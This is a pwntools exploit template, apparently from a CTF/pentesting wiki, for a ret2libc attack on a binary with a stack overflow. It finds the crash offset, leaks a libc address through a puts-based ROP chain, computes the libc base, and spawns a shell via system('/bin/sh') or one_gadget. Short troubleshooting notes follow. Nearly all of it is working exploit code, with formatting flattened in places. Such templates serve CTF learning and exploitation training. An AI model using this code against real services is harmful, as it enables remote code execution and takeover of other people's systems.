Leaking libc - template
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```python:template.py from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
CONNECTION
LOCAL = False REMOTETTCP = True REMOTESSH = False GDB = False USE_ONE_GADGET = False
LOCAL_BIN = "./vuln" REMOTE_BIN = "~/vuln" #For ssh LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL: P = process(LOCAL_BIN, env=ENV) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP: P = remote('10.10.10.10',1339) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH: ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) p = ssh_shell.process(REMOTE_BIN) # start the vuln binary elf = ELF(LOCAL_BIN)# Extract data from binary rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH: # attach gdb and continue # You can set breakpoints, for example "break main" gdb.attach(P.pid, "b main")
OFFSET FINDER
OFFSET = b"" #b"A"*264 if OFFSET == b"": gdb.attach(P.pid, "c") #Attach and continue payload = cyclic(264) payload += b"AAAAAAAA" print(P.clean()) P.sendline(payload) #x/wx $rsp -- Search for bytes that crashed the application #print(cyclic_find(0x63616171)) # Find the offset of those bytes P.interactive() exit()
Find Gadgets
try: libc_func = "puts" PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: libc_func = "printf" PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" RET = (ROP_LOADED.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("ret gadget: " + hex(RET))
Find LIBC offset
def generate_payload_aligned(rop): payload1 = OFFSET + rop if (len(payload1) % 16) == 0: return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func): FUNC_GOT = ELF_LOADED.got[libc_func] log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) # Create rop chain rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
FINAL EXPLOITATION
Via One_gadget (https://github.com/david942j/one_gadget)
gem install one_gadget
def get_one_gadgets(libc): import string, subprocess args = ["one_gadget", "-r"] if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): args += ["-b", libc.hex()] else: args += [libc] try: one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] except: print("One_gadget isn't installed") one_gadgets = [] return
rop2 = b"" if USE_ONE_GADGET: one_gadgets = get_one_gadgets(LIBC) if one_gadgets: rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
Normal/Long exploitation
if not rop2: BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh SYSTEM = LIBC.sym["system"] EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean()) P.sendline(rop2)
P.interactive() #Interact with your shell :)
## Common problems
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
and set the address manually:
Puts not found
If the binary is not using Puts you should check if it is using
sh: 1: %s%s%s%s%s%s%s%s: not found
If you find this error after creating all the exploit: sh: 1: %s%s%s%s%s%s%s%s: not found
Try to subtract 64 bytes to the address of "/bin/sh":
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